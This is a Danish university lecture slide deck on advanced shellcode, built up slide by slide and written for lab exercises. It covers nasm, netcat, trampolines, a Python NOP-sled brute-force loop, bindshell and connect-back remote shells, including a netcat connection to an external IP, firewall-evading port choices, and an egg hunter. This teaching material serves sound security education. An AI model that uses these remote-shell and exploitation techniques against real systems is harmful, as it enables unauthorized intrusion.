Advanced shellcode

br0ns iDolf Hatler
Datalogisk institut, Københavns universitet

Aftenens Program

Aftenens Program

- `nasm` og `netcat`

Aftenens Program

- `nasm` og `netcat`
- Trampoliner (“Hvor er jeg?”)

Aftenens Program

- `nasm` og `netcat`
- Trampoliner (“Hvor er jeg?”)
- NOP-slisker (“Er koden mon her?”)

Aftenens Program

- `nasm` og `netcat`
- Trampoliner (“Hvor er jeg?”)
- NOP-slisker (“Er koden mon her?”)
- Bindshell og connect-back (“Hvad med over netværket?”)

Aftenens Program

- `nasm` og `netcat`
- Trampoliner (“Hvor er jeg?”)
- NOP-slisker (“Er koden mon her?”)
- Bindshell og connect-back (“Hvad med over netværket?”)
- Egg hunters (“Hvor *er* min kode?”)

Koder, kend din assembler

`http://www.nasm.us/docs.php`

Koder, kend din assembler

`http://www.nasm.us/docs.php`

- `%define STD_IN 0 ; std_in file handle`

Koder, kend din assembler

`http://www.nasm.us/docs.php`

- `%define STD_IN 0 ; std_in file handle`
- `%include "my-defines.asm"`

Koder, kend din assembler

http://www.nasm.us/docs.php

- %define STD_IN 0 ; std_in file handle
- %include "my-defines.asm"
- nasm nizzle.asm -I defines/linux/

Koder, kend din assembler

`http://www.nasm.us/docs.php`

- `%define STD_IN 0 ; std_in file handle`
- `%include "my-defines.asm"`
- `nasm nizzle.asm -I defines/linux/`
  - GOTCHA: afsluttende skråstreg er *vigtig!*

Koder, kend din assembler

`http://www.nasm.us/docs.php`

- `%define STD_IN 0 ; std_in file handle`
- `%include "my-defines.asm"`
- `nasm nizzle.asm -I defines/linux/`
  - GOTCHA: afsluttende skråstreg er *vigtig!*
- `nasm nizzle.asm -D DEBUG`

Koder, kend din assembler

http://www.nasm.us/docs.php

- %define STD_IN 0 ; std_in file handle
- %include "my-defines.asm"
- nasm nizzle.asm -I defines/linux/
  - GOTCHA: afsluttende skråstreg er *vigtig!*
- nasm nizzle.asm -D DEBUG

```
1         %ifdef DEBUG
2         int 3         ; Software interrupt
3       ; %else
4       ; ...
5         %endif
```

Netcat: The TCP/IP Swiss army knife

- http://nc110.sourceforge.net
- http://www.admon.org/netcat-tcpip-swiss-army-knife
- man nc

Netcat: The TCP/IP Swiss army knife

- `http://nc110.sourceforge.net`
- `http://www.admon.org/netcat-tcpip-swiss-army-knife`
- `man nc`

OBS: Der er to udgaver af netcat. netcat-traditional og netcat-openbsd. De har forskellige parametre. Eksemplerne bruger traditional.

Mikrolegetime: Netcat

Mikrolegetime: Netcat

Forbind til vært på port 23:

```
nc towel.blinkenlights.nl 23
```

Mikrolegetime: Netcat

Forbind til vært på port 23:

```
nc towel.blinkenlights.nl 23
```

Lyt på port 1337:

```
nc -l 1337
```

Mikrolegetime: Netcat

Forbind til vært på port 23:

```
nc towel.blinkenlights.nl 23
```

Lyt på port 1337:

```
nc -l 1337
```

Send data:

```
echo ‘python -c ’print "A" * 100’‘ | nc 127.0.0.1
    1337
```

Prøv at sende data til hinanden.

Hvor er jeg?

Hvor er jeg?

```
1     mov ebx, eip
```

Hvor er jeg?

```
1     mov ebx, eip
```

Det kan man ikke!

Hvor er jeg?

```
1     mov ebx, eip
```

Det kan man ikke!

Men man kan bruge en trampolin!

Hvor er jeg?

```
1     mov ebx, eip
```

Det kan man ikke!

Men man kan bruge en trampolin!

```
1 jmp bottom
2
3 top:
4     pop eax
5
6 ...
7
8 bottom:
9     call top
```

Legetime 1 - skriv din egen trampolin som udskriver “Hello World!”

Legetime 1 - skriv din egen trampolin som udskriver "Hello World!"

Prøv på at bruge defines (+ includes?).

C: `write(int fd, const void *buf, size_t counter); exit(0)`

Assembler: `eax = 4, ebx = 1 (stdout), ecx = buf, edx = count, int 0x80, eax = 1, ebx = 0, int 0x80`

`[BITS 32]`	Skal stå på først linje for få nasm til at bruge 32-bit
`mov` a, b	Flytter b til a, hvor a og b er registre, hukommelse eller heltal.
`push r`	Pusher register `r`
`pop r`	Pop register `r`
`label:`	Laver en label man kan hoppe til (og ikke bruge til meget andet her)
`jmp label/call label`	Hopper/caller en label
`str1: db "pony",0`	Gemmer den nul-terminerede tekst "pony" i hukommelsen med `str1` som peger til den

Kør med:

```
nasm -f bin evil.asm; ../demo evil
```

NOP-slisker

Hvis du ved omtrent hvor din kode er (og kan tåle at lave et par tusinde forsøg).

```
        nop
        ...
        nop
        [shellcode her]
```

```
1  with open('shellcode') as f:
2      shellcode = f.read()
3  nopsled = '\x90' * SLED_SIZE + shellcode
4
5  def exploit(addr): ...
6
7  top = 0xBFFFFFFF
8  for i in range(1000):
9      addr = top - i * (SLED_SIZE + 1)
10     exploit(addr)
```

Hvad med over netværk?

- Connect-back.
- Bindshell.

Connect-back

Fremgangsmåde:

1. Åbn en port lokalt og lyt på den

```
nc -l 1337
```

Connect-back

Fremgangsmåde:

1. Åbn en port lokalt og lyt på den

```
nc -l 1337
```

2. Kør dit sploit. Exploitet kører en connect-back.

Connect-back

Fremgangsmåde:

1. Åbn en port lokalt og lyt på den

```
nc -l 1337
```

2. Kør dit sploit. Exploitet kører en connect-back.
3. Connect-backen åbner en forbindelse til den port du lytter på, og binder derefter den åbne socket til en shell.

Connect-back

Fremgangsmåde:

1. Åbn en port lokalt og lyt på den

```
nc -l 1337
```

2. Kør dit sploit. Exploitet kører en connect-back.
3. Connect-backen åbner en forbindelse til den port du lytter på, og binder derefter den åbne socket til en shell.
4. ...

Connect-back

Fremgangsmåde:

1. Åbn en port lokalt og lyt på den

```
nc -l 1337
```

2. Kør dit sploit. Exploitet kører en connect-back.
3. Connect-backen åbner en forbindelse til den port du lytter på, og binder derefter den åbne socket til en shell.
4. ...
5. Profit!

Bindshell

Fremgangsmåde:

1. Kør dit sploit. Exploitet kører en bindshell.

Bindshell

Fremgangsmåde:

1. Kør dit sploit. Exploitet kører en bindshell.
2. Bindshellen åbner en port og venter på at nogen forbinder.

Bindshell

Fremgangsmåde:

1. Kør dit sploit. Exploitet kører en bindshell.
2. Bindshellen åbner en port og venter på at nogen forbinder.
3. Forbind.

```
nc 173.194.32.52 1337
```

Bindshell

Fremgangsmåde:

1. Kør dit sploit. Exploitet kører en bindshell.
2. Bindshellen åbner en port og venter på at nogen forbinder.
3. Forbind.

```
nc 173.194.32.52 1337
```

4. Bindshellen modtager forbindelsen, og binder (deraf "bind") den åbne socket til en shell.

Firewalls

Hvad sker der hvis målet ligger bag en firewall?

Bindshell Firewallen vil næsten stensikkert blokkere den indgående forbindelse fra dig (medmindre du lytter på 1119 eller 3724).

Firewalls

Hvad sker der hvis målet ligger bag en firewall?

Bindshell Firewallen vil næsten stensikkert blokkere den indgående forbindelse fra dig (medmindre du lytter på 1119 eller 3724).

Connect-back Det kan være firewallen også filtrerer udgående forbindelser, så hvis du har mulighed for det, er det bedst at lytte på f.eks. port 80.

Mikrolegetime: connect-back og bindshell

Mikrolegetime: connect-back og bindshell

Bindshell:

Mikrolegetime: connect-back og bindshell

Bindshell:

1. Læs (eller ændr – husk at køre nasm) portnummeret i `bindshell.asm`

Mikrolegetime: connect-back og bindshell

Bindshell:

1. Læs (eller ændr – husk at køre nasm) portnummeret i `bindshell.asm`
2. `../demo bindshell` (Kaldet hænger)

Mikrolegetime: connect-back og bindshell

Bindshell:

1. Læs (eller ændr – husk at køre nasm) portnummeret i `bindshell.asm`
2. `../demo bindshell` (Kaldet hænger)
3. Åbn en ny terminal og forbind tilbage: `nc localhost [port]`

Mikrolegetime: connect-back og bindshell

Bindshell:

1. Læs (eller ændr – husk at køre nasm) portnummeret i `bindshell.asm`
2. `../demo bindshell` (Kaldet hænger)
3. Åbn en ny terminal og forbind tilbage: `nc localhost [port]`

Connect-back:

Mikrolegetime: connect-back og bindshell

Bindshell:

1. Læs (eller ændr – husk at køre nasm) portnummeret i `bindshell.asm`
2. `../demo bindshell` (Kaldet hænger)
3. Åbn en ny terminal og forbind tilbage: `nc localhost [port]`

Connect-back:

1. Læs (eller ændr – husk at køre nasm) portnummeret i `connect-back.asm`. Hvis du vil forbinde tilbage til en anden maskine end din egen skal du også ændre IP-adressen.

Mikrolegetime: connect-back og bindshell

Bindshell:

1. Læs (eller ændr – husk at køre nasm) portnummeret i `bindshell.asm`
2. `../demo bindshell` (Kaldet hænger)
3. Åbn en ny terminal og forbind tilbage: `nc localhost [port]`

Connect-back:

1. Læs (eller ændr – husk at køre nasm) portnummeret i `connect-back.asm`. Hvis du vil forbinde tilbage til en anden maskine end din egen skal du også ændre IP-adressen.
2. (Terminal A) Lyt på den valgte port: `nc -l [port]`

Mikrolegetime: connect-back og bindshell

Bindshell:

1. Læs (eller ændr – husk at køre nasm) portnummeret i `bindshell.asm`
2. `../demo bindshell` (Kaldet hænger)
3. Åbn en ny terminal og forbind tilbage: `nc localhost [port]`

Connect-back:

1. Læs (eller ændr – husk at køre nasm) portnummeret i `connect-back.asm`. Hvis du vil forbinde tilbage til en anden maskine end din egen skal du også ændre IP-adressen.
2. (Terminal A) Lyt på den valgte port: `nc -l [port]`
3. (Terminal B) `../demo connect-back`

Mikrolegetime: connect-back og bindshell

Bindshell:

1. Læs (eller ændr – husk at køre nasm) portnummeret i `bindshell.asm`
2. `../demo bindshell` (Kaldet hænger)
3. Åbn en ny terminal og forbind tilbage: `nc localhost [port]`

Connect-back:

1. Læs (eller ændr – husk at køre nasm) portnummeret i `connect-back.asm`. Hvis du vil forbinde tilbage til en anden maskine end din egen skal du også ændre IP-adressen.
2. (Terminal A) Lyt på den valgte port: `nc -l [port]`
3. (Terminal B) `../demo connect-back`
4. Nu er terminal A forbundet til en shell.

Mikrolegetime: connect-back og bindshell

Bindshell:

1. Læs (eller ændr – husk at køre nasm) portnummeret i `bindshell.asm`
2. `../demo bindshell` (Kaldet hænger)
3. Åbn en ny terminal og forbind tilbage: `nc localhost [port]`

Connect-back:

1. Læs (eller ændr – husk at køre nasm) portnummeret i `connect-back.asm`. Hvis du vil forbinde tilbage til en anden maskine end din egen skal du også ændre IP-adressen.
2. (Terminal A) Lyt på den valgte port: `nc -l [port]`
3. (Terminal B) `../demo connect-back`
4. Nu er terminal A forbundet til en shell.

Prøv også at forbinde til hinanden (hvis I tør).

Legetime 2 - hack den her server

På min maskine kører `server` på port 30001. Hack den!

Egg hunters

Hvis det er meget begrænset hvilken kode du kan køre, kan du måske bruge en egg hunter. Den leder efter "den rigtige shellcode" i hukommelsen.

Egg hunters

Hvis det er meget begrænset hvilken kode du kan køre, kan du måske bruge en egg hunter. Den leder efter "den rigtige shellcode" i hukommelsen.

```
1 loop:   push eax
2         inc esp
3         pop eax
4         cmp eax, 0xDECAFBAD
5         jne short loop
6         jmp esp
```

Mikrolegetime: egg hunter

Brug `egg-hunter` til at køre `huge-shellcode`.

Hvordan kan du få `huge-shellcode` ind i programmets hukommelse?

Bam!

```
1 FOO="`./egg.py huge-shellcode`" ../demo egg-hunter
```